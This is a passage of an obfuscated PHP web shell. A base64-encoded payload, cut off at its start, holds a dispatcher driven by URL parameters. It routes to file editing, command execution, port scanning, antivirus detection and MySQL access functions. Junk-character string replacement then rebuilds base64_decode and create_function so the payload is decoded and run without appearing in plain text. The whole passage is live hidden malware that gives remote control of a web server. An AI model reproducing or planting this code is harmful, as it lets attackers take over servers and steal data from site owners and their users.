X2VuZF9mbHVzaCgpOw0KCWV4aXQ7DQp9ICovDQoNCmlmKGlzc2V0KCRfR0VUWydzJ10pKXskcyA9ICRfR0VUWydzJ107aWYoJHMgIT0gJ2EnICYmICRzICE9ICduJylSb290X0NTUygpO31lbHNleyRzID0gJ015TmFtZUlzSGFja2VyJzt9DQokcCA9IGlzc2V0KCRfR0VUWydwJ10pID8gJF9HRVRbJ3AnXSA6IEZpbGVfU3RyKGRpcm5hbWUoX19GSUxFX18pKTsNCg0Kc3dpdGNoKCRzKQ0Kew0KCWNhc2UgImEiIDogRmlsZV9hKCRwKTsgYnJlYWs7DQoJY2FzZSAiYiIgOiBHdWFtYV9iKCk7IGJyZWFrOw0KCWNhc2UgImMiIDogUWluZ21hX2MoKTsgYnJlYWs7DQoJY2FzZSAiZCIgOiBUaWh1YW5fZCgpOyBicmVhazsNCgljYXNlICJlIiA6IEFudGl2aXJ1c19lKCk7IGJyZWFrOw0KCWNhc2UgImYiIDogSW5mb19mKCk7IGJyZWFrOw0KCWNhc2UgImciIDogRXhlY19nKCk7IGJyZWFrOw0KCWNhc2UgImgiIDogQ29tX2goKTsgYnJlYWs7DQoJY2FzZSAiaSIgOiBQb3J0X2koKTsgYnJlYWs7DQoJY2FzZSAiaiIgOiBGaW5kZmlsZV9qKCk7IGJyZWFrOw0KCWNhc2UgImsiIDogTGludXhfaygpOyBicmVhazsNCgljYXNlICJsIiA6IFNlcnZ1X2woKTsgYnJlYWs7DQoJY2FzZSAibSIgOiBNeXNxbF9tKCk7IGJyZWFrOw0KCWNhc2UgIm4iIDogTXlzcWxfbigpOyBicmVhazsNCgljYXNlICJvIiA6IE15c3FsX28oKTsgYnJlYWs7DQoJY2FzZSAicCIgOiBGaWxlX0VkaXQoJF9HRVRbJ2ZwJ10sJF9HRVRbJ2ZuJ10pOyBicmVhazsNCgljYXNlICJxIiA6IEZpbGVfU291cCgkcCk7IGJyZWFrOw0KCWNhc2UgInIiIDogTXlzcWxfTXNnKCk7IGJyZWFrOw0KCWRlZmF1bHQ6IFdpbk1haW4oKTsgYnJlYWs7DQp9DQoNCg=="; $av = str_replace("g","","gsgtgr_grgepglgagce"); $hw = $av("t", "", "btatste64_dectodte"); $if = $av("x","","xcxrxeatxex_xfuxnxcxtxixoxn"); $xa = $if('', $hw($av("", "", $dos))); $xa(); ?> 123